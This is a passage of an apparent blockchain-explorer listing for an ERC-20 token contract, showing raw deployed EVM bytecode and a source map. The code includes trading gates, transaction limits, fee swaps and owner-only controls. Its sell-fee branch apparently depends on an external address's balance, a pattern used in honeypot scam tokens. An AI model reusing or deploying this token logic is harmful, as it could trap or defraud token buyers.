565b905060008060006116008e87878761174a565b9250925092508e61161057600092505b919e909d50909b509399509197509550909350505050565b6000806116358385611b1d565b90508381101561117e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610518565b600061169161136f565b9050600061169f838361179a565b306000908152600260205260409020549091506116bc9082611628565b30600090815260026020526040902055505050565b6006546116de90836112ff565b6006556007546116ee9082611628565b6007555050565b600080808061170f6064611709898961179a565b90611392565b9050600061172260646117098a8961179a565b9050600061173a826117348b866112ff565b906112ff565b9992985090965090945050505050565b6000808080611759888661179a565b90506000611767888761179a565b90506000611775888861179a565b905060006117878261173486866112ff565b939b939a50919850919650505050505050565b6000826000036117ac5750600061045e565b60006117b88385611a86565b9050826117c58583611bca565b1461117e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610518565b600060208083528351808285015260005b818110156118495785810183015185820160400152820161182d565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461058757600080fd5b6000806040838503121561189257600080fd5b823561189d8161186a565b946020939093013593505050565b6000806000606084860312156118c057600080fd5b83356118cb8161186a565b925060208401356118db8161186a565b929592945050506040919091013590565b6000602082840312156118fe57600080fd5b8135801515811461117e57600080fd5b60006020828403121561192057600080fd5b813561117e8161186a565b60006020828403121561193d57600080fd5b5035919050565b6000806040838503121561195757600080fd5b82356119628161186a565b915060208301356119728161186a565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156119ce5781600019048211156119b4576119b461197d565b808516156119c157918102915b93841c9390800290611998565b509250929050565b6000826119e55750600161045e565b816119f25750600061045e565b8160018114611a085760028114611a1257611a2e565b600191505061045e565b60ff841115611a2357611a2361197d565b50506001821b61045e565b5060208310610133831016604e8410600b8410161715611a51575081810a61045e565b611a5b8383611993565b8060001904821115611a6f57611a6f61197d565b029392505050565b600061117e60ff8416836119d6565b808202811582820484141761045e5761045e61197d565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611ae457600080fd5b815161117e8161186a565b600080600060608486031215611b0457600080fd5b8351925060208401519150604084015190509250925092565b8082018082111561045e5761045e61197d565b8181038181111561045e5761045e61197d565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ba95784516001600160a01b031683529383019391830191600101611b84565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611be757634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200a3bb81d5667010d02f66297a79d5d3021540269a4cd35f4df9df988eddbd56364736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101445760003560e01c8063715018a6116100b657806398a5c3151161006f57806398a5c3151461038a578063a9059cbb146103aa578063c3c8cd80146103ca578063c9567bf9146103df578063dd62ed3e146103e7578063f2fde38b1461042d57600080fd5b8063715018a6146102ea578063751039fc146102ff5780637d1db4a5146103145780638da5cb5b1461032a5780638f9a55c01461034857806395d89b411461035e57600080fd5b80632fd689e3116101085780632fd689e314610241578063313ce5671461025757806349bd5a5e146102735780636d8aa8f8146102935780636fc3eaec146102b557806370a08231146102ca57600080fd5b806306fdde0314610150578063095ea7b3146101965780631694505e146101c657806318160ddd146101fe57806323b872dd1461022157600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600b81526a23169919102930b83a37b960a91b60208201525b60405161018d919061181c565b60405180910390f35b3480156101a257600080fd5b506101b66101b136600461187f565b61044d565b604051901515815260200161018d565b3480156101d257600080fd5b506012546101e6906001600160a01b031681565b6040516001600160a01b03909116815260200161018d565b34801561020a57600080fd5b50610213610464565b60405190815260200161018d565b34801561022d57600080fd5b506101b661023c3660046118ab565b610485565b34801561024d57600080fd5b5061021360165481565b34801561026357600080fd5b506040516009815260200161018d565b34801561027f57600080fd5b506013546101e6906001600160a01b031681565b34801561029f57600080fd5b506102b36102ae3660046118ec565b6104ee565b005b3480156102c157600080fd5b506102b361053f565b3480156102d657600080fd5b506102136102e536600461190e565b61058a565b3480156102f657600080fd5b506102b36105ac565b34801561030b57600080fd5b506102b3610620565b34801561032057600080fd5b5061021360145481565b34801561033657600080fd5b506000546001600160a01b03166101e6565b34801561035457600080fd5b5061021360155481565b34801561036a57600080fd5b5060408051808201909152600381526223191960e91b6020820152610180565b34801561039657600080fd5b506102b36103a536600461192b565b610663565b3480156103b657600080fd5b506101b66103c536600461187f565b610692565b3480156103d657600080fd5b506102b361069f565b6102b36106f3565b3480156103f357600080fd5b50610213610402366004611944565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561043957600080fd5b506102b361044836600461190e565b6109f9565b600061045a338484610ae3565b5060015b92915050565b60006104726009600a611a77565b61048090633b9aca00611a86565b905090565b6000610492848484610c07565b6104e484336104df85604051806060016040528060288152602001611bed602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906110ef565b610ae3565b5060019392505050565b6000546001600160a01b031633146105215760405162461bcd60e51b815260040161051890611a9d565b60405180910390fd5b60138054911515600160b01b0260ff60b01b19909216919091179055565b6010546001600160a01b0316336001600160a01b0316148061057457506011546001600160a01b0316336001600160a01b0316145b61057d57600080fd5b4761058781611129565b50565b6001600160a01b03811660009081526002602052604081205461045e90611167565b6000546001600160a01b031633146105d65760405162461bcd60e51b815260040161051890611a9d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461064a5760405162461bcd60e51b815260040161051890611a9d565b6d314dc6448d9338c15b0a000000006014819055601555565b6000546001600160a01b0316331461068d5760405162461bcd60e51b815260040161051890611a9d565b601655565b600061045a338484610c07565b6010546001600160a01b0316336001600160a01b031614806106d457506011546001600160a01b0316336001600160a01b0316145b6106dd57600080fd5b60006106e83061058a565b905061058781611185565b6000546001600160a01b0316331461071d5760405162461bcd60e51b815260040161051890611a9d565b601354600160a01b900460ff16156107775760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610518565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ee9190611ad2565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610850573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108749190611ad2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e59190611ad2565b601380546001600160a01b0319166001600160a01b0392831617905560125461091f913091166d314dc6448d9338c15b0a00000000610ae3565b6012546001600160a01b031663f305d719343061093b8161058a565b6000806109506000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109b8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109dd9190611aef565b50506013805462ff00ff60a01b19166201000160a01b17905550565b6000546001600160a01b03163314610a235760405162461bcd60e51b815260040161051890611a9d565b6001600160a01b038116610a885760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610518565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b455760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610518565b6001600160a01b038216610ba65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610518565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c6b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610518565b6001600160a01b038216610ccd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610518565b60008111610d2f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610518565b6000546001600160a01b03848116911614801590610d5b57506000546001600160a01b03838116911614155b8015610d7057506001600160a01b0383163014155b8015610d8557506001600160a01b0382163014155b15610fcc57601354600160a01b900460ff16610e1e576000546001600160a01b03848116911614610e1e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610518565b601454811115610e705760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610518565b6013546001600160a01b03838116911614610ef55760155481610e928461058a565b610e9c9190611b1d565b10610ef55760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610518565b6000610f003061058a565b601654601454919250821015908210610f195760145491505b808015610f305750601354600160a81b900460ff16155b8015610f4a57506013546001600160a01b03868116911614155b8015610f5f5750601354600160b01b900460ff165b8015610f8457506001600160a01b03851660009081526005602052604090205460ff16155b8015610fa957506001600160a01b03841660009081526005602052604090205460ff16155b15610fc957610fb782611185565b478015610fc757610fc747611129565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061100e57506001600160a01b03831660009081526005602052604090205460ff165b8061104057506013546001600160a01b0385811691161480159061104057506013546001600160a01b03848116911614155b1561104d575060006110dd565b6013546001600160a01b03858116911614801561107857506012546001600160a01b03848116911614155b1561108a57600854600c55600954600d555b6013546001600160a01b0384811691161480156110b557506012546001600160a01b03858116911614155b156110dd57600a54600c55601154600b546110d9916001600160a01b0316316112ff565b600d555b6110e984848484611341565b50505050565b600081848411156111135760405162461bcd60e51b8152600401610518919061181c565b5060006111208486611b30565b95945050505050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611163573d6000803e3d6000fd5b5050565b60008061117261136f565b905061117e8382611392565b9392505050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111cd576111cd611b43565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611226573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124a9190611ad2565b8160018151811061125d5761125d611b43565b6001600160a01b0392831660209182029290920101526012546112839130911684610ae3565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906112bc908590600090869030904290600401611b59565b600060405180830381600087803b1580156112d657600080fd5b505af11580156112ea573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b600061117e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110ef565b8061134e5761134e6113d4565b611359848484611402565b806110e9576110e9600e54600c55600f54600d55565b600080600061137c611510565b909250905061138b8282611392565b9250505090565b600061117e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611592565b600c541580156113e45750600d54155b156113eb57565b600c8054600e55600d8054600f5560009182905555565b6011546000908190819081908190819061142b906001600160a01b038b811691161415886115c0565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061145d90876112ff565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461148c9086611628565b6001600160a01b0389166000908152600260205260409020556114ae81611687565b6114b884836116d1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114fd91815260200190565b60405180910390a3505050505050505050565b6006546000908190816115256009600a611a77565b61153390633b9aca00611a86565b905061155b6115446009600a611a77565b61155290633b9aca00611a86565b60065490611392565b821015611589576006546115716009600a611a77565b61157f90633b9aca00611a86565b9350935050509091565b90939092509050565b600081836115b35760405162461bcd60e51b8152600401610518919061181c565b5060006111208486611bca565b60008060008060008060008060006115dd8a600c54600d546116f5565b92509250925060006115ed61136f565b905060008060006116008e87878761174a565b9250925092508e61161057600092505b919e909d50909b509399509197509550909350505050565b6000806116358385611b1d565b90508381101561117e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610518565b600061169161136f565b9050600061169f838361179a565b306000908152600260205260409020549091506116bc9082611628565b30600090815260026020526040902055505050565b6006546116de90836112ff565b6006556007546116ee9082611628565b6007555050565b600080808061170f6064611709898961179a565b90611392565b9050600061172260646117098a8961179a565b9050600061173a826117348b866112ff565b906112ff565b9992985090965090945050505050565b6000808080611759888661179a565b90506000611767888761179a565b90506000611775888861179a565b905060006117878261173486866112ff565b939b939a50919850919650505050505050565b6000826000036117ac5750600061045e565b60006117b88385611a86565b9050826117c58583611bca565b1461117e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610518565b600060208083528351808285015260005b818110156118495785810183015185820160400152820161182d565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461058757600080fd5b6000806040838503121561189257600080fd5b823561189d8161186a565b946020939093013593505050565b6000806000606084860312156118c057600080fd5b83356118cb8161186a565b925060208401356118db8161186a565b929592945050506040919091013590565b6000602082840312156118fe57600080fd5b8135801515811461117e57600080fd5b60006020828403121561192057600080fd5b813561117e8161186a565b60006020828403121561193d57600080fd5b5035919050565b6000806040838503121561195757600080fd5b82356119628161186a565b915060208301356119728161186a565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156119ce5781600019048211156119b4576119b461197d565b808516156119c157918102915b93841c9390800290611998565b509250929050565b6000826119e55750600161045e565b816119f25750600061045e565b8160018114611a085760028114611a1257611a2e565b600191505061045e565b60ff841115611a2357611a2361197d565b50506001821b61045e565b5060208310610133831016604e8410600b8410161715611a51575081810a61045e565b611a5b8383611993565b8060001904821115611a6f57611a6f61197d565b029392505050565b600061117e60ff8416836119d6565b808202811582820484141761045e5761045e61197d565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611ae457600080fd5b815161117e8161186a565b600080600060608486031215611b0457600080fd5b8351925060208401519150604084015190509250925092565b8082018082111561045e5761045e61197d565b8181038181111561045e5761045e61197d565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ba95784516001600160a01b031683529383019391830191600101611b84565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611be757634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200a3bb81d5667010d02f66297a79d5d3021540269a4cd35f4df9df988eddbd56364736f6c63430008130033

Deployed Bytecode Sourcemap

4241:12708:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6523:83;;;;;;;;;;-1:-1:-1;6593:5:0;;;;;;;;;;;;-1:-1:-1;;;6593:5:0;;;;6523:83;;;;;;;:::i;:::-;;;;;;;;7455:193;;;;;;;;;;-1:-1:-1;7455:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7455:193:0;1023:187:1;5483:41:0;;;;;;;;;;-1:-1:-1;5483:41:0;;;;-1:-1:-1;;;;;5483:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;5483:41:0;1215:229:1;6803:95:0;;;;;;;;;;;;;:::i;:::-;;;1595:25:1;;;1583:2;1568:18;6803:95:0;1449:177:1;7657:446:0;;;;;;;;;;-1:-1:-1;7657:446:0;;;;;:::i;:::-;;:::i;5796:57::-;;;;;;;;;;;;;;;;6711:83;;;;;;;;;;-1:-1:-1;6711:83:0;;4461:1;2234:36:1;;2222:2;2207:18;6711:83:0;2092:184:1;5531:28:0;;;;;;;;;;-1:-1:-1;5531:28:0;;;;-1:-1:-1;;;;;5531:28:0;;;16205:101;;;;;;;;;;-1:-1:-1;16205:101:0;;;;;:::i;:::-;;:::i;:::-;;12248:235;;;;;;;;;;;;;:::i;6907:138::-;;;;;;;;;;-1:-1:-1;6907:138:0;;;;;:::i;:::-;;:::i;1714:148::-;;;;;;;;;;;;;:::i;16314:109::-;;;;;;;;;;;;;:::i;5676:51::-;;;;;;;;;;;;;;;;1498:79;;;;;;;;;;-1:-1:-1;1536:7:0;1563:6;-1:-1:-1;;;;;1563:6:0;1498:79;;5735:53;;;;;;;;;;;;;;;;6615:87;;;;;;;;;;-1:-1:-1;6687:7:0;;;;;;;;;;;;-1:-1:-1;;;6687:7:0;;;;6615:87;;16013:139;;;;;;;;;;-1:-1:-1;16013:139:0;;;;;:::i;:::-;;:::i;7054:199::-;;;;;;;;;;-1:-1:-1;7054:199:0;;;;;:::i;:::-;;:::i;12003:236::-;;;;;;;;;;;;;:::i;16431:515::-;;;:::i;7262:184::-;;;;;;;;;;-1:-1:-1;7262:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7411:18:0;;;7379:7;7411:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7262:184;1871:244;;;;;;;;;;-1:-1:-1;1871:244:0;;;;;:::i;:::-;;:::i;7455:193::-;7557:4;7579:39;327:10;7602:7;7611:6;7579:8;:39::i;:::-;-1:-1:-1;7636:4:0;7455:193;;;;;:::o;6803:95::-;6856:7;4801:15;4461:1;4801:2;:15;:::i;:::-;4785:31;;:13;:31;:::i;:::-;6876:14;;6803:95;:::o;7657:446::-;7789:4;7806:36;7816:6;7824:9;7835:6;7806:9;:36::i;:::-;7853:220;7876:6;327:10;7924:138;7980:6;7924:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7924:19:0;;;;;;:11;:19;;;;;;;;327:10;7924:33;;;;;;;;;;:37;:138::i;:::-;7853:8;:220::i;:::-;-1:-1:-1;8091:4:0;7657:446;;;;;:::o;16205:101::-;1626:6;;-1:-1:-1;;;;;1626:6:0;327:10;1626:22;1618:67;;;;-1:-1:-1;;;1618:67:0;;;;;;;:::i;:::-;;;;;;;;;16272:11:::1;:26:::0;;;::::1;;-1:-1:-1::0;;;16272:26:0::1;-1:-1:-1::0;;;;16272:26:0;;::::1;::::0;;;::::1;::::0;;16205:101::o;12248:235::-;12314:19;;-1:-1:-1;;;;;12314:19:0;327:10;-1:-1:-1;;;;;12298:35:0;;:72;;;-1:-1:-1;12353:17:0;;-1:-1:-1;;;;;12353:17:0;327:10;-1:-1:-1;;;;;12337:33:0;;12298:72;12290:81;;;;;;12411:21;12443:32;12411:21;12443:12;:32::i;:::-;12279:204;12248:235::o;6907:138::-;-1:-1:-1;;;;;7020:16:0;;6973:7;7020:16;;;:7;:16;;;;;;7000:37;;:19;:37::i;1714:148::-;1626:6;;-1:-1:-1;;;;;1626:6:0;327:10;1626:22;1618:67;;;;-1:-1:-1;;;1618:67:0;;;;;;;:::i;:::-;1821:1:::1;1805:6:::0;;1784:40:::1;::::0;-1:-1:-1;;;;;1805:6:0;;::::1;::::0;1784:40:::1;::::0;1821:1;;1784:40:::1;1852:1;1835:19:::0;;-1:-1:-1;;;;;;1835:19:0::1;::::0;;1714:148::o;16314:109::-;1626:6;;-1:-1:-1;;;;;1626:6:0;327:10;1626:22;1618:67;;;;-1:-1:-1;;;1618:67:0;;;;;;;:::i;:::-;4735:8:::1;16366:12;:18:::0;;;16395:14:::1;:20:::0;16314:109::o;16013:139::-;1626:6;;-1:-1:-1;;;;;1626:6:0;327:10;1626:22;1618:67;;;;-1:-1:-1;;;1618:67:0;;;;;;;:::i;:::-;16104:19:::1;:40:::0;16013:139::o;7054:199::-;7159:4;7181:42;327:10;7205:9;7216:6;7181:9;:42::i;12003:236::-;12069:19;;-1:-1:-1;;;;;12069:19:0;327:10;-1:-1:-1;;;;;12053:35:0;;:72;;;-1:-1:-1;12108:17:0;;-1:-1:-1;;;;;12108:17:0;327:10;-1:-1:-1;;;;;12092:33:0;;12053:72;12045:81;;;;;;12137:23;12163:24;12181:4;12163:9;:24::i;:::-;12137:50;;12198:33;12215:15;12198:16;:33::i;16431:515::-;1626:6;;-1:-1:-1;;;;;1626:6:0;327:10;1626:22;1618:67;;;;-1:-1:-1;;;1618:67:0;;;;;;;:::i;:::-;16499:11:::1;::::0;-1:-1:-1;;;16499:11:0;::::1;;;16498:12;16490:48;;;::::0;-1:-1:-1;;;16490:48:0;;5848:2:1;16490:48:0::1;::::0;::::1;5830:21:1::0;5887:2;5867:18;;;5860:30;5926:25;5906:18;;;5899:53;5969:18;;16490:48:0::1;5646:347:1::0;16490:48:0::1;16585:15;;;;;;;;;-1:-1:-1::0;;;;;16585:15:0::1;-1:-1:-1::0;;;;;16585:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;16567:69:0::1;;16645:4;16652:15;;;;;;;;;-1:-1:-1::0;;;;;16652:15:0::1;-1:-1:-1::0;;;;;16652:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16567:108;::::0;-1:-1:-1;;;;;;16567:108:0::1;::::0;;;;;;-1:-1:-1;;;;;6484:15:1;;;16567:108:0::1;::::0;::::1;6466:34:1::0;6536:15;;6516:18;;;6509:43;6401:18;;16567:108:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16551:13;:124:::0;;-1:-1:-1;;;;;;16551:124:0::1;-1:-1:-1::0;;;;;16551:124:0;;::::1;;::::0;;16720:15:::1;::::0;16688:54:::1;::::0;16705:4:::1;::::0;16720:15:::1;4735:8;16688;:54::i;:::-;16753:15;::::0;-1:-1:-1;;;;;16753:15:0::1;:31;16792:9;16811:4;16817:24;16811:4:::0;16817:9:::1;:24::i;:::-;16842:1;16844::::0;16846:7:::1;1536::::0;1563:6;-1:-1:-1;;;;;1563:6:0;;1498:79;16846:7:::1;16753:117;::::0;::::1;::::0;;;-1:-1:-1;;;;;;16753:117:0;;;-1:-1:-1;;;;;6922:15:1;;;16753:117:0::1;::::0;::::1;6904:34:1::0;6954:18;;;6947:34;;;;6997:18;;;6990:34;;;;7040:18;;;7033:34;7104:15;;;7083:19;;;7076:44;16854:15:0::1;7136:19:1::0;;;7129:35;6838:19;;16753:117:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;16891:11:0::1;:18:::0;;-1:-1:-1;;;;16920:18:0;-1:-1:-1;;;16920:18:0;;;-1:-1:-1;16431:515:0:o;1871:244::-;1626:6;;-1:-1:-1;;;;;1626:6:0;327:10;1626:22;1618:67;;;;-1:-1:-1;;;1618:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1960:22:0;::::1;1952:73;;;::::0;-1:-1:-1;;;1952:73:0;;7688:2:1;1952:73:0::1;::::0;::::1;7670:21:1::0;7727:2;7707:18;;;7700:30;7766:34;7746:18;;;7739:62;-1:-1:-1;;;7817:18:1;;;7810:36;7863:19;;1952:73:0::1;7486:402:1::0;1952:73:0::1;2062:6;::::0;;2041:38:::1;::::0;-1:-1:-1;;;;;2041:38:0;;::::1;::::0;2062:6;::::1;::::0;2041:38:::1;::::0;::::1;2090:6;:17:::0;;-1:-1:-1;;;;;;2090:17:0::1;-1:-1:-1::0;;;;;2090:17:0;;;::::1;::::0;;;::::1;::::0;;1871:244::o;8679:369::-;-1:-1:-1;;;;;8806:19:0;;8798:68;;;;-1:-1:-1;;;8798:68:0;;8095:2:1;8798:68:0;;;8077:21:1;8134:2;8114:18;;;8107:30;8173:34;8153:18;;;8146:62;-1:-1:-1;;;8224:18:1;;;8217:34;8268:19;;8798:68:0;7893:400:1;8798:68:0;-1:-1:-1;;;;;8885:21:0;;8877:68;;;;-1:-1:-1;;;8877:68:0;;8500:2:1;8877:68:0;;;8482:21:1;8539:2;8519:18;;;8512:30;8578:34;8558:18;;;8551:62;-1:-1:-1;;;8629:18:1;;;8622:32;8671:19;;8877:68:0;8298:398:1;8877:68:0;-1:-1:-1;;;;;8956:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9008:32;;1595:25:1;;;9008:32:0;;1568:18:1;9008:32:0;;;;;;;8679:369;;;:::o;9057:2335::-;-1:-1:-1;;;;;9179:18:0;;9171:68;;;;-1:-1:-1;;;9171:68:0;;8903:2:1;9171:68:0;;;8885:21:1;8942:2;8922:18;;;8915:30;8981:34;8961:18;;;8954:62;-1:-1:-1;;;9032:18:1;;;9025:35;9077:19;;9171:68:0;8701:401:1;9171:68:0;-1:-1:-1;;;;;9258:16:0;;9250:64;;;;-1:-1:-1;;;9250:64:0;;9309:2:1;9250:64:0;;;9291:21:1;9348:2;9328:18;;;9321:30;9387:34;9367:18;;;9360:62;-1:-1:-1;;;9438:18:1;;;9431:33;9481:19;;9250:64:0;9107:399:1;9250:64:0;9342:1;9333:6;:10;9325:64;;;;-1:-1:-1;;;9325:64:0;;9713:2:1;9325:64:0;;;9695:21:1;9752:2;9732:18;;;9725:30;9791:34;9771:18;;;9764:62;-1:-1:-1;;;9842:18:1;;;9835:39;9891:19;;9325:64:0;9511:405:1;9325:64:0;1536:7;1563:6;-1:-1:-1;;;;;9407:15:0;;;1563:6;;9407:15;;;;:32;;-1:-1:-1;1536:7:0;1563:6;-1:-1:-1;;;;;9426:13:0;;;1563:6;;9426:13;;9407:32;:57;;;;-1:-1:-1;;;;;;9443:21:0;;9459:4;9443:21;;9407:57;:80;;;;-1:-1:-1;;;;;;9468:19:0;;9482:4;9468:19;;9407:80;9403:1226;;;9545:11;;-1:-1:-1;;;9545:11:0;;;;9540:144;;1536:7;1563:6;-1:-1:-1;;;;;9585:15:0;;;1563:6;;9585:15;9577:91;;;;-1:-1:-1;;;9577:91:0;;10123:2:1;9577:91:0;;;10105:21:1;10162:2;10142:18;;;10135:30;10201:34;10181:18;;;10174:62;10272:33;10252:18;;;10245:61;10323:19;;9577:91:0;9921:427:1;9577:91:0;9719:12;;9709:6;:22;;9701:63;;;;-1:-1:-1;;;9701:63:0;;10555:2:1;9701:63:0;;;10537:21:1;10594:2;10574:18;;;10567:30;10633;10613:18;;;10606:58;10681:18;;9701:63:0;10353:352:1;9701:63:0;9791:13;;-1:-1:-1;;;;;9785:19:0;;;9791:13;;9785:19;9782:146;;9858:14;;9849:6;9833:13;9843:2;9833:9;:13::i;:::-;:22;;;;:::i;:::-;:39;9825:87;;;;-1:-1:-1;;;9825:87:0;;11042:2:1;9825:87:0;;;11024:21:1;11081:2;11061:18;;;11054:30;11120:34;11100:18;;;11093:62;-1:-1:-1;;;11171:18:1;;;11164:33;11214:19;;9825:87:0;10840:399:1;9825:87:0;9945:28;9976:24;9994:4;9976:9;:24::i;:::-;10054:19;;10118:12;;9945:55;;-1:-1:-1;10030:43:0;;;;10094:36;;10091:124;;10187:12;;10164:35;;10091:124;10236:7;:18;;;;-1:-1:-1;10248:6:0;;-1:-1:-1;;;10248:6:0;;;;10247:7;10236:18;:43;;;;-1:-1:-1;10266:13:0;;-1:-1:-1;;;;;10258:21:0;;;10266:13;;10258:21;;10236:43;:58;;;;-1:-1:-1;10283:11:0;;-1:-1:-1;;;10283:11:0;;;;10236:58;:87;;;;-1:-1:-1;;;;;;10299:24:0;;;;;;:18;:24;;;;;;;;10298:25;10236:87;:114;;;;-1:-1:-1;;;;;;10328:22:0;;;;;;:18;:22;;;;;;;;10327:23;10236:114;10232:386;;;10371:38;10388:20;10371:16;:38::i;:::-;10457:21;10501:22;;10497:106;;10548:35;10561:21;10548:12;:35::i;:::-;10352:266;10232:386;9489:1140;;9403:1226;-1:-1:-1;;;;;10707:24:0;;10642:12;10707:24;;;:18;:24;;;;;;10657:4;;10707:24;;;:50;;-1:-1:-1;;;;;;10735:22:0;;;;;;:18;:22;;;;;;;;10707:50;10706:102;;;-1:-1:-1;10771:13:0;;-1:-1:-1;;;;;10763:21:0;;;10771:13;;10763:21;;;;:44;;-1:-1:-1;10794:13:0;;-1:-1:-1;;;;;10788:19:0;;;10794:13;;10788:19;;10763:44;10702:628;;;-1:-1:-1;10835:5:0;10702:628;;;10919:13;;-1:-1:-1;;;;;10911:21:0;;;10919:13;;10911:21;:55;;;;-1:-1:-1;10950:15:0;;-1:-1:-1;;;;;10936:30:0;;;10950:15;;10936:30;;10911:55;10908:162;;;10999:14;;10987:9;:26;11042:12;;11032:7;:22;10908:162;11130:13;;-1:-1:-1;;;;;11124:19:0;;;11130:13;;11124:19;:55;;;;-1:-1:-1;11163:15:0;;-1:-1:-1;;;;;11147:32:0